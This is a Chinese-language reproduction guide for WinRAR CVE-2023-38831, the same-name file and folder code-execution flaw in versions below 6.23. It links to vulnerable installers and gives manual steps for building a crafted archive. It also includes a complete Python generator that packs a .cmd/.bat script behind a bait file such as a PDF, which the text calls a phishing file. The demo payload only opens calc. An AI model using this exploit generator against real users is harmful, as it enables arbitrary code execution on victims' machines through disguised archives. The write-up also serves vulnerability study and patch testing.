一、漏洞详情
WinRAR介绍
WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在 Windows环境下的图形界面。该软件可用于备份数据,缩减电子邮件附件的大小,解压缩从 Internet 上下载的RAR、ZIP及其它类型文件,并且可以新建 RAR 及 ZIP 格式等的压缩类文件。
漏洞描述
WinRAR 在处理压缩包内同名的文件与文件夹时存在代码执行漏洞。攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件中看似无害的文件(如JPG文件)后,将在受害者机器上执行任意代码。
影响版本
Winrar < 6.23
二、环境下载
WinRar安装包下载:https://pan.baidu.com/s/1RUXK9LY6LywvCeeNq7_pfA?pwd=ap7t
提取码: ap7t
7z安装包下载:https://pan.baidu.com/s/1lpkfBQ6R3JGV69OckG4R1A?pwd=njvs
提取码: njvs
三、漏洞利用
3.1、手工复现
复现这个漏洞需要使用 7z 进行复现,7z 主要是用来创建测试漏洞文件。因为文件是会有冲突的所以需要用 rar 和 7z。
创建 test 文件夹和一个 script.txt .cmd 文件,script.txt .cmd 文件内容为 calc。
注:script.txt .cmd 有个空格
用 7z,压缩文件,右键把 test 文件夹压缩成 zip。
然后 7z 打开 test.zip,将里面的全部内容删除。
然后在外面的文件夹创建 script.txt 和 script.txt 文件夹和文件,再将其这两文件拉进来。
注:在外面创建的时候创建一个拉进来一个再将外面的删除,再创建再拉进来
然后将 script.txt 文件和 script.txt 文件夹修改为 "script.txt " 有个空格注意一下。
再将外面的 script.txt .cmd 拉到 script.txt 文件夹中。
然后利用 Winrar 打开 test.zip 压缩包。
最后双击 script.txt 文件即可触发漏洞。
3.2、脚本复现
利用代码如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import shutil
import os
import sys
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"
BAIT_NAME = "test.txt"
SCRIPT_NAME = "test.bat"
def main():
global BAIT_NAME, SCRIPT_NAME, OUTPUT_NAME # 声明为全局变量
# 处理命令行参数
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""用法:
python cve-2023-38831-exp-gen.py poc
python cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()
# 提取鱼叉文件名的扩展名
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("鱼叉文件名:", BAIT_NAME)
print("脚本文件名:", SCRIPT_NAME)
print("输出文件名:", OUTPUT_NAME)
# 清理并创建必要的目录
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = os.path.join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)
# 复制文件到模板目录
shutil.copyfile(SCRIPT_NAME, os.path.join(d, BAIT_NAME + "A.cmd"))
shutil.copyfile(BAIT_NAME, os.path.join(TEMPLATE_NAME, BAIT_NAME + "B"))
# 创建模板目录的 zip 压缩文件
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
# 读取、修改并写回 zip 压缩文件
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
# 将修改后的内容保存为最终输出文件
with open(OUTPUT_NAME, "wb") as f:
f.write(content)
print("成功生成漏洞利用代码。")
if __name__ == "__main__":
main()
本地创建一个 RCE.pdf 和 RCE.zip 内容都为空。
再创建一个 script.bat,内容如下:
cmd /k "calc"
使用 python3 利用脚本生成钓鱼 zip 文件。
python3 CVE-2023-38831.py RCE.pdf script.bat RCE.zip
打开 RCE.zip 文件。
此时里面多了一个文件和一个文件夹,双击打开 RCE.pdf 即可触发漏洞。